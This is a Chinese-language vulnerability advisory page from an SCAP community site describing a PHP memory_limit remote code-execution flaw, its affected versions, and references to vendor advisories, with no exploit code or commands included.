Apple Mac OS X 10.0.2
Apple Mac OS X 10.0.1
Apple Mac OS X 10.0 3
Apple Mac OS X 10.0
PHP PHP 5.0 .0
PHP PHP 4.3.8
+ Mandriva Linux Mandrake 10.1 x86_64
+ Mandriva Linux Mandrake 10.1
+ S.u.S.E. Linux Personal 9.2
+ Turbolinux Turbolinux Server 10.0
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
Apple Mac OS X Server 10.3.8
Apple Mac OS X 10.3.8

- 不受影响的程序版本

PHP PHP 5.0 .0
PHP PHP 4.3.8
+ Mandriva Linux Mandrake 10.1 x86_64
+ Mandriva Linux Mandrake 10.1
+ S.u.S.E. Linux Personal 9.2
+ Turbolinux Turbolinux Server 10.0
+ Ubuntu Ubuntu Linux 4.1 ppc
+ Ubuntu Ubuntu Linux 4.1 ia64
+ Ubuntu Ubuntu Linux 4.1 ia32
Apple Mac OS X Server 10.3.8
Apple Mac OS X 10.3.8

- 漏洞讨论

PHP modules compiled with memory_limit support are affected by a remote code-execution vulnerability. This issue occurs because the PHP module fails to properly handle memory_limit request termination.

An attacker can leverage this issue by exploiting the Apache ap_escape_html Memory Allocation Denial Of Service Vulnerability (BID 10619). The attacker can cause premature termination during critical code execution. Note that although the Apache vulnerability is the only known attack vector, there may be other attack vectors that are currently unknown.

Attackers can exploit this issue to execute arbitrary code on an affected computer within the context of the vulnerable application, facilitating unauthorized access.

- 漏洞利用

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following exploit is available:

- 解决方案

Please see the referenced advisories for more information.


HP HP-UX B.11.11

HP HP-UX B.11.23

HP HP-UX B.11.11

HP HP-UX B.11.00

Apple Mac OS X 10.2.8

Apple Mac OS X Server 10.2.8

Apple Mac OS X Server 10.3.7

Apple Mac OS X 10.3.7

PHP PHP 4.0 0

PHP PHP 4.0.1

PHP PHP 4.0.1 pl2

PHP PHP 4.0.2

PHP PHP 4.0.3 pl1

PHP PHP 4.0.3

PHP PHP 4.0.5

PHP PHP 4.0.7 RC1

PHP PHP 4.0.7 RC2

PHP PHP 4.1 .0

PHP PHP 4.2 -dev

PHP PHP 4.2.1

PHP PHP 4.3

PHP PHP 4.3.2

PHP PHP 4.3.5

PHP PHP 4.3.6

PHP PHP 5.0 candidate 1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站